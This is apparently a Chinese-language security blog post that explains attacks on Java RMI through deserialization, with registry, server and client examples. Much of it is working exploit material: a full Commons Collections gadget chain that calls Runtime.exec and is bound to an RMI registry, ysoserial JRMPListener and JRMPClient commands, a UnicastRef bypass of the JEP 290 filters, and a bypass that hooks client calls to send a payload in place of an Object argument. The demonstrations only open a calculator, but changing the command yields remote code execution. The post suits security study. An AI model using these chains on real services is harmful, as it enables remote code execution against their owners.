内容简介：这几行代码会向指定的RMI Registry发起请求,并且在白名单列表里面,在看下服务端和客户端调用。LocateRegistry.getRegistry方法的代码。代码位置
RMI主要分为三部分
- RMI Registry注册中心
- RMI Client 客户端
- RMI Server服务端
三、RMI的实现
注册中心代码
创建一个继承java.rmi.Remote的接口
public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
创建注册中心代码
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class Registry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true) ;
}
}
服务端代码
先创建一个继承java.rmi.Remote的接口
public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
继承UnicastRemoteObject类,实现上面的接口
public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super();
}
public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}
}
写服务端的启动类,用于创建远程对象注册表和注册远程对象
public class HelloServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind("hello", new HelloImpl());
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
客户端代码
创建接口类
public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
连接注册服务 查找hello对象
public class HelloClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
HelloInterface hello = (HelloInterface) registry.lookup("hello");
System.out.println(hello.sayHello("flag"));
} catch (NotBoundException | RemoteException e) {
e.printStackTrace();
}
}
}
启动服务端之后,在启动客户端看下.
服务端输出了
客户端输出了
四、攻击方法
服务端攻击注册中心
从第一张图可以看到服务端也是向注册中心序列化传输远程对象,那么直接把远程对象改成反序列化Gadget看下
修改服务端代码
public class HelloServer {
public static void main(String[] args) throws Exception {
try {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map ouputMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
Map tmpMap = new HashMap();
tmpMap.put("pwn", badAttributeValueExpException);
Constructor<?> ctor = null;
ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
Remote remote = Remote.class.cast(Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind("hello1", remote);
} catch (Exception e) {
e.printStackTrace();
}
}
}
在服务端执行这段代码 注册中心计算器会弹出,这段代码就是ysoserial工具的RMIRegistryExploit代码,debug看下注册中心执行过程
触发反序列化操作位置
sun.rmi.registry.RegistryImpl_Skel#dispatch
调用栈
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:411, UnicastServerRef (sun.rmi.server) dispatch:272, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:568, TCPTransport (sun.rmi.transport.tcp) run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 736237439 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1) doPrivileged:-1, AccessController (java.security) run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang)
注册中心攻击客户端
首先借助ysoserial项目启动一个JRMP服务端执行命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"
然后直接启动上面客户端的代码,会发现计算器直接被弹出,debug看下客户端代码
代码位置 sun.rmi.registry.RegistryImpl_Stub#lookup
90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections5的调用链,所以这里直接反序列化就会触发.
客户端攻击注册中心
1.直接启动上面的注册中心代码
2.借助ysoserial项目JRMPClient攻击注册中心命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.102.1 1099 CommonsCollections5 "open /Applications/Calculator.app"
执行完命令后计算器直接弹出来了,原因是RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。
debug注册中心代码看下。
sun.rmi.transport.DGCImpl_Skel#dispatch
可以看到这里进行了反序列化操作。
列下调用栈
dispatch:-1, DGCImpl_Skel (sun.rmi.transport) oldDispatch:411, UnicastServerRef (sun.rmi.server) dispatch:272, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:568, TCPTransport (sun.rmi.transport.tcp) run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 286880721 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1) doPrivileged:-1, AccessController (java.security) run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang)
JEP290
在 JDK6u141 、 JDK7u131 、 JDK 8u121 加入了JEP 290限制,JEP 290过滤策略有
进程级过滤器
可以将进程级序列化过滤器作为命令行参数（“-Djdk.serialFilter =”）传递，或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。
自定义过滤器
可以使用自定义过滤器来重写特定流的进程级过滤器
内置过滤器
JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单，即只允许反序列化特定类。
这里我把jdk版本换成jdk1.8.0_181,默认使用内置过滤器。然后直接使用上面的服务端攻击注册中心poc看下,执行完RMI Registry会提示这样的一个错误:
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 285, ex: n/a
debug看下
sun.rmi.registry.RegistryImpl#registryFilter
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}
白名单列表:
- String.class
- Number.class
- Remote.class
- Proxy.class
- UnicastRef.class
- RMIClientSocketFactory.class
- RMIServerSocketFactory.class
- ActivationID.class
- UID.class
调用栈
registryFilter:427, RegistryImpl (sun.rmi.registry) checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$$Lambda$2) filterCheck:1239, ObjectInputStream (java.io) readProxyDesc:1813, ObjectInputStream (java.io) readClassDesc:1748, ObjectInputStream (java.io) readOrdinaryObject:2042, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) dispatch:76, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:468, UnicastServerRef (sun.rmi.server) dispatch:300, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
UnicastRef对象
用UnicastRef对象新建一个RMI连接绕过JEP290的限制,看下ysoserial的JRMPClient的payload
这几行代码会向指定的RMI Registry发起请求,并且在白名单列表里面,在看下服务端和客户端调用。LocateRegistry.getRegistry方法的代码。
代码位置 java.rmi.registry#getRegistry
和payload发起RMI Registry请求代码是一样的。
先用ysoserial启动RMI registry java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"
然后把这个payload放在服务端bind看下
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1199);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{
Registry.class
}, obj);
registry.bind("hello", proxy);
在服务端执行RMI registry的计算器就弹出来了,debug RMI registry代码看下.
调用栈
read:291, LiveRef (sun.rmi.transport) readExternal:489, UnicastRef (sun.rmi.server) readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) dispatch:76, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:468, UnicastServerRef (sun.rmi.server) dispatch:300, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 168016515 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
原理就是利用在白名单的UnicastRef类来发起一个RMI连接,在高版本jdk下ysoserial的JRMPListener依然可以利用.
用Object绕JEP290限制
JEP290只是为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器,在RMI客户端和服务端在通信时参数传递这块是没有做处理的,而参数传递也是基于序列化数据传输,那么如果参数是泛型的payload,传输依然会有问题。
先把接口都新增一个sayPayload的方法,参数都是Object类型的
import java.rmi.Remote;
public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
public Object sayPayload(Object from) throws java.rmi.RemoteException;
}
在把服务端HelloImpl代码改下,去实现这个方法。
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super();
}
public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}
public Object sayPayload(Object from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return null;
}
}
客户端在调用这个sayPayload方法时直接传payload看下
public class HelloClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
HelloInterface hello = (HelloInterface) registry.lookup("hello1");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);
hello.sayPayload(poc);
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行后服务端计算器直接弹出,如果把这个payload作为sayPayload方法的返回值 客户端计算器也会弹出。
看下反序列化的地方
sun.rmi.server.UnicastRef#marshalValue
调用栈
marshalValue:290, UnicastRef (sun.rmi.server) dispatch:367, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 316535884 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
在实际使用场景很少有参数是Object类型的,而攻击者可以完全操作客户端,因此可以用恶意对象替换从Object类派生的参数(例如String),具体有如下四种bypass的思路
- 将java.rmi包的代码复制到新包，并在新包中修改相应的代码
- 将调试器附加到正在运行的客户端，并在序列化之前替换这些对象
- 使用诸如Javassist这样的 工具 修改字节码
- 通过实现代理替换网络流上已经序列化的对象
我这里使用第三个方法,由afanti师傅实现的通过RASP hook住java.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个参数非Object的改为Object的gadget。不熟悉RASP的先要去了解下。
我这里使用CommonsCollections5这条链,Hook invokeRemoteMethod函数。
客户端代码还是不变
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
HelloInterface hello = ( HelloInterface ) registry.lookup("hello1");
hello.sayHello("xxx");
}
}
VM options参数填写rasp jar对应的地址
然后直接运行
控制台会抛出一个错误 随后计算器也直接弹出来了.
debug看下可以看到
java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 这里args参数的值已经修改为CommonsCollections5的gadget了.
五、总结
RMI数据传输都是基于序列化数据传输,RMI Registry、Client、Server都能相互攻击,在你攻击别人的时候 可能也会被人攻击。
参考链接
https://www.anquanke.com/post/id/200860#h2-3
https://xz.aliyun.com/t/7264#toc-2
https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
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